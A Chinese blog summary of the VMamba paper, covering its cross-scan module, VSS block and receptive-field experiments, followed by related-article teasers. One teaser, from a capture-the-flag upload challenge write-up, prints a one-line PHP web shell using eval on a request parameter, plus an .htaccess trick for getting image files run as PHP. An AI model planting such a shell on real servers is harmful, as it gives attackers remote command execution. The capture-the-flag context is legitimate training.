【论文阅读】VMamba:视觉状态空间模型

文章目录

  • VMamba:视觉状态空间模型
    • 摘要
    • 相关工作
      • 状态空间模型
    • 方法
      • 准备
        • 状态空间模型
        • 离散化
        • 选择扫描机制
      • 2D 选择扫描
      • VMamba 模型
        • 整体结构
        • VSS块
    • 实验
      • 分析实验
        • 有效感受野
        • 输入尺度
    • 总结

VMamba:视觉状态空间模型

摘要

受最近提出的状态空间模型启发,我们提出了视觉状态空间模型,在不牺牲感受野的情况下实现线性复杂度。为了解决遇到的方向感知问题,我们提出了交叉扫描模块(CSM)以遍历空间域并将任何非因果视觉图像转换为有序补丁序列。广泛实验结果说明VMamba不仅在多种视觉感知任务上取得优秀的成果,在不断提升图像分辨率训练表现上也展现了明显提升。

VMamba在有效降低注意复杂度的关键概念来自选择性扫描状态空间模型(S6),原本被提出用来解决NLP问题。和传统注意力计算方法不同,S6使1-D矩阵内的每个元素来和先前扫描的样本交互,通过一个压缩的隐状态,有效将平方复杂度降低到线性。

然而,由于视觉信息是非因果的,直接在一个切分为patch并展平的图像上应用这样的策略会导致受限的感受野,因为和没被扫描到的patch间的关系难以被评估。我们称这个问题为“方向感知”问题并且提出通过新提出的交叉扫描模块来解决这一问题。不同于翻转特征图的空域以无方向模式(行方向或列方向),CSM采用一种四路扫描策略即从整个特征图的四个角到相反的位置。

总结我们的贡献如下:

  • 我们提出了VMamba,有全局感受野的视觉状态空间模型
  • 提出CSM弥补1-D和2-D平面之间的差距
  • 没有花里胡哨的,我们展示VMamba在诸如图片分类,目标检测和语义分割任务上取得了很大的成功。

在这里插入图片描述

相关工作

状态空间模型

这些模型主要关注于状态空间模型如何应用在长程和因果数据像语言语音,语言理解,文本推理,像素级1-D图像分类上。S4ND是第一个将状态空间机制应用在视觉任务上的工作,但是不能以依赖于输入的方式有效地捕获图像信息。

方法

准备

状态空间模型

见【论文翻译】Mamba 中的状态空间模型背景-CSDN博客

离散化

见【论文翻译】MODELING SEQUENCES WITH STRUCTURED STATE SPACES 附录A.1-CSDN博客

VMamba在这里使用ZOH零阶保持离散化,但是 B ‾ \overline{B} B使用一阶泰勒近似为
B ‾ = ( e Δ A − I ) A − 1 B ≈ ( Δ A ) ( Δ A ) − 1 Δ B \overline{B} = (e^{\Delta A}-I)A^{-1}B\approx(\Delta A)(\Delta A)^{-1}\Delta B B=(eΔAI)A1B(ΔA)(ΔA)1ΔB

选择扫描机制

在S6,参数 B ,   C ,   Δ B,\ C,\ \Delta B, C, Δ是数据依赖的,确保了权重的动态性。

2D 选择扫描

S6因果的处理输入数据,因此只能捕捉到已经扫描到的部分的信息。天然适应NLP任务包括时许信息,但对于非因果的数据例如图片,图,集等等设置了挑战。一个直接的解决这个问题的办法是从两个方向扫描数据,即前向和后向,允许它们在不增加计算复杂度的情况下互相补充感受野。

除了有非因果的天然性质,图像和文本间的差别还包括图像包含2D的空间信息(例如局部信息和全局信息)。为了处理这个问题,S4ND提出用卷积和直接扩展核从1-D到2-D通过外积来重新公式化SSM。然而,这样的调整使得权重不能变成动态的(即输入依赖的)导致基于内容的数据建模的能力损失。因此,我们选择保留动态权重通过坚持选择性扫描方法,不幸的是这阻碍我们遵循卷积操作。

为了让解决这个问题,我们提出了图二所示的交叉扫描魔魁啊。我们选择展开图像块沿着行和列到需略(扫描扩展),然后从四个不同方向处理扫描:上-左到下-右,下-右到上-左,上-右到下-左,下-左到上-右。以这种方式,任何像素如图二的中心像素,整合了来自不同方向的其他像素。我们之后将每个序列reshape称单张图片,然后所有的序列被拼接成一个新的如图三所描述。(扫描拼接)

在这里插入图片描述

和CSM结合的S6,被称作S6块,是视觉状态空间(VSS)块的核心元素,构成了VMamba的基础块(在下一孝介进一步介绍)。我们强调在保持全局感受野情况下S6继承了选择扫描机制的线性复杂度。

VMamba 模型

整体结构

如图4(a)所示,是VMamba-Tiny的概览。VMamba首先使用一个stem模块把输入图像分割为块,和ViTs相似不需要进一步展平patch到1-D序列。这个调整保持了图片的2D结构,使特征图有 H 4 × W 4 × C 1 \frac{H}{4}\times\frac{W}{4}\times C_{1} 4H×4W×C1

VMamba之后在特征图上堆叠一些VSS块,保持相同的维度,构成阶段1。VMamba中的层次表示是通过pach合并操作对“阶段1”中的特征图进行下采样来构建的。其后,更多的VSS块包含进来构成阶段2,输出分辨率为 H 8 × W 8 \frac{H}{8}\times\frac{W}{8} 8H×8W.这个过程重复来构成阶段3和阶段4,分辨率分别为 H 16 × W 16 \frac{H}{16}\times\frac{W}{16} 16H×16W H 32 × W 32 \frac{H}{32}\times\frac{W}{32} 32H×32W。所有这些阶段共同构成类似于流行CNN和一些ViT的层次表示。

我们在三个不同规模下实现了VMamba,VMamba-Tiny, VMamba-Small, and VMamba-Base。所有模型的FLOPs通过使用 224 × 224 224\times 224 224×224​输入评估。

在这里插入图片描述

VSS块

图四b展示了VSS块的结构,输入经过一个初始线性嵌入层,其输出分为两股信息流。一个经过一个 3 × 3 3\times3 3×3的深度卷积层,在进入核心SS2D模块前经过一个Silu激活函数。SS2D的输出经过一个层归一化,之后把输出加到另一个信息流中。这组成了VSS块的最终输出。

不同于vision transformers我们避免在VMamba使用位置嵌入偏置由于其因果性。我们的设计偏离了典型的视觉transformer结构,其在块中应用了下面的操作顺序:归一化->注意力->归一化->MLP。我们抛弃掉MLP操作。因此,VSS块比ViT块浅一点,这允许我们在同样模型深度情况下堆叠更多的块。

实验

在这个部分,我们完成了一系列实验评估和比较VMmaba和流行模型,包括CNN和视觉transformers。我们的评估基于多种任务,包括ImageNet-1K图片分类,COCO目标检测和ADE20K语义分割。随后,我们深入分析实验,以深入了解VMamba的架构。

在这里插入图片描述

分析实验

有效感受野

为了评估不同模型的有效感受野,我们在图5展示了一个比较分析。ERT测量了模型输入对模型输出的影响。在输入尺寸1024X1024条件下可视化中心像素ERF。我们将其与四个主流的视觉基础模型作比较:从图五,我们得出关键结论1)只有DeiT和VMamba有全局ERF 2)不同于DeiT平等均匀地激活所有像素,VMamba激活所有像素但是显著强调了交叉型的激活。交叉扫描模块扫描机制使得中心像素受交叉方向像素影响最大,对于每个像素,其长程内容优先于局部信息。3)有趣的是,VMamba在训练前初始化仅仅一个局部ERF而在训练后变为全局,注意到模型全局能力的自适应过程。我们认为这个自适应过程增强了模型对图片的感知。和DeiT在训练前后都保持几乎一致地ERF不同。

输入尺度

在这里插入图片描述

我们继续进行输入尺度变化实验,如图6所示,VMamba实现了跨输入图片尺寸地最稳定表现,值得注意的是,在从224x224到384x384,只有VMamba表现出一个上升趋势,展示了其对输入尺寸变化地鲁棒性,VMamba实现了比肩CNN地线性复杂度增长,而同样有全局感受野地DeiT表现出了平方复杂度增长。

总结

为了解决方向感知问题,我们提出里交叉扫描模块来空间翻转,将非因果的视觉图像转换为顺序patch序列。大量的实验表明,VMamba在多种视觉任务上取得可观表现,当图片分辨率上升时,有显著的优势。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/449617.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

软件测试APP完整测试作业流程(附流程图),公司级软件测试流程化办公

目录 1. 概述 2. 软件测试流程 3. 软件测试周期人员活动图 4. 总结 1. 概述 1.1 目的 有效的保证软件质量; 有效的制定不同测试类型(软件系统测试、音频主观性测试、Field Trial、专项测试、自动化测试、性 能测试、用户体验测试)的软件…

BUUCTF---[MRCTF2020]你传你呢1

1.题目描述 2.打开题目链接 3.上传shell.jpg文件&#xff0c;显示连接成功&#xff0c;但是用蚁剑连接却连接不上。shell文件内容为 <script languagephp>eval($_REQUEST[cmd]);</script>4.用bp抓包&#xff0c;修改属性 5.需要上传一个.htaccess的文件来把jpg后缀…

C++ STL --stack 和queue,priority_queue

1. stack的介绍和使用 1.1 stack的介绍 https://cplusplus.com/reference/stack/stack/?kwstack 翻译: 1. stack是一种容器适配器&#xff0c;专门用在具有后进先出操作的上下文环境中&#xff0c;其删除只能从容器的一端进行元素的插入与提取操作。 2. stack是作为容器适配…

嵌入式学习第二十七天!(TCP并发模型)

TCP并发模型&#xff1a; 1. TCP多线程模型&#xff1a; 缺点&#xff1a;创建线程会带来资源开销&#xff0c;能够实现的并发量比较有限。 2. IO模型&#xff1a; 1. 阻塞IO&#xff1a; 没有数据到来时&#xff0c;可以让任务挂起&#xff0c;节省CPU资源开销&#xff0c;提…

51单片机基础篇系列-LED灯点亮代码部分

&#x1f308;个人主页: 会编辑的果子君 &#x1f4ab;个人格言:“成为自己未来的主人~” #include<reg52.h> //包含单片机内部寄存器 void main() //&#xff08;&#xff09;{P10xfe;//1111 1110while(1); // } 上面是第一个 LED实验 #include<reg52.h>…

解码人工智能的幽默:理解其背后的误解与挑战

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

爬虫之矛---JavaScript基石篇5<JS混淆问题(1)>

前言: 随着现代JavaScript应用程序的复杂性增加,源代码的安全性成为开发者和企业关注的焦点之一。为了保护知识产权和防止代码被逆向工程,开发者采用了各种技术手段,其中一种重要的方法是混淆。 正文: 如何调试JS? 以chrome浏览器为例,在开发者工具里面,可以通过在source…

MacOS - 在 Mac 上自定义“访达”边栏(快捷方式)

将文件添加到边栏&#xff1a;按住 Command 键&#xff0c;然后将文件拖到“个人收藏”部分。如果没有看到“个人收藏”部分&#xff0c;请选取“访达” > “设置” > “边栏”&#xff0c;然后在“个人收藏”部分中选择至少一个项目。 将文件添加到“访达”边栏仅会创建…

WPF(2)命令绑定

效果是&#xff1a;当TextBox控件的Text属性为空时show按钮不可用&#xff0c;有值时show按钮可用 项目结构 界面代码 <Window x:Class"WpfApp1.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://sc…

Qt - 信号和槽

目录 一、信号 二、槽 三、信号和槽的使用 (一) 连接信号和槽 (二) 自定义槽 (三) 通过 Qt Creator生成信号槽代码 (四) 自定义信号 四、带参数的信号和槽 五、信号与槽的断开 六、Qt4版本信号与槽的连接 (一) Qt4版本信号与槽连接的优缺点 一、信号 在 Qt 中&…

基于Python3的数据结构与算法 - 14 队列

目录 一、定义 1. 环形队列 2. 自定义队列 二、队列的内置模块 1. 双向队列 一、定义 队列&#xff08;Queue&#xff09;是一个数据集合&#xff0c;仅允许在列表的一端进行插入&#xff0c;另一端进行删除。进行插入的一端称为队尾&#xff08;rear&#xff09;&#…

前端基础篇-深入了解用 HTML 与 CSS 实现标题排版

&#x1f525;博客主页&#xff1a; 【小扳_-CSDN博客】 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 HTML 与 CSS 概述 2.0 HTML - 标题排版 2.1 图片标签 2.2 标题标签 2.3 水平标签 2.4 实现标题排版 3.0 HTML - 标题样式(style 样式) 3.1 CSS 的引入方式 3.2…

2024最新版使用PyCharm搭建Anaconda

2024最新版使用PyCharm搭建Anaconda 因为pycharm自带的包不全&#xff0c;或者下载的时候比较慢&#xff0c;所以我们直接用anaconda的包&#xff0c;毕竟我们以后还会学到很多的包&#xff0c;不多说&#xff0c;直接开干&#xff01; 一、下载Pycharm、Anacoda pycharm中文网…

02_electron快速建立项目

一、安装 yarn 在此之前可以先安装 git&#xff1a;Git - Downloads (git-scm.com) 下面就是 yarn 安装的代码&#xff0c;在终端输入即可。 npm install --global yarn 检查是否安装成功&#xff1a; yarn --version 二、快速建立一个electron项目 其实在Getting Started - …

用chatgpt写论文重复率高吗?如何降低重复率?

ChatGPT写的论文重复率很低 ChatGPT写作是基于已有的语料库和文献进行训练的&#xff0c;因此在写作过程中会不可避免地引用或借鉴已有的研究成果和观点。同时&#xff0c;由于ChatGPT的表述方式和写作风格与人类存在一定的差异&#xff0c;也可能会导致论文与其他文章相似度高…

06多表查询

多表查询 多表查询&#xff0c;也称为关联查询&#xff0c;指两个或更多个表一起完成查询操作。前提条件&#xff1a;这些一起查询的表之间是有关系的&#xff08;一对一、一对多&#xff09;&#xff0c;它们之间一定是有关联字段&#xff0c;这个 关联字段可能建立了外键&am…

网络基础『 序列化与反序列化』

&#x1f52d;个人主页&#xff1a; 北 海 &#x1f6dc;所属专栏&#xff1a; Linux学习之旅、神奇的网络世界 &#x1f4bb;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 文章目录 &#x1f324;️前言&#x1f326;️正文1.协议的重要性2.什么是序列化与反序列化&…

安装配置Kafka

一个典型的Kafka集群中包含若干Producer&#xff08;可以是Web前端FET&#xff0c;或者是服务器日志等&#xff09;&#xff0c;若干Broker&#xff08;Kafka支持水平扩展&#xff0c;一般Broker数量越多&#xff0c;集群吞吐率越高&#xff09;&#xff0c;若干ConsumerGroup&…

wordpress免费主题下载

免费wordpress模板下载 简洁大气的文化艺术类wordpress模板&#xff0c;可以免费下载&#xff0c;实用易上手&#xff0c;新手也适合。 https://www.wpniu.com/themes/304.html 免费wordpress主题下载 高端大气上档次的wordpress主题&#xff0c;也可以是免费的&#xff0c;…

【机器学习】无监督学习算法之:层次聚类

层次聚类 1、引言2、层次聚类2.1 定义2.2 原理2.3 实现方式2.4 算法公式2.5 代码示例 3、总结 1、引言 小屌丝&#xff1a;鱼哥&#xff0c; 这周末过的滋润啊。 小鱼&#xff1a;… 每个周末都挺滋润的啊。 小屌丝&#xff1a;啊~ ~ 你这… 小鱼&#xff1a;周末加班&#xf…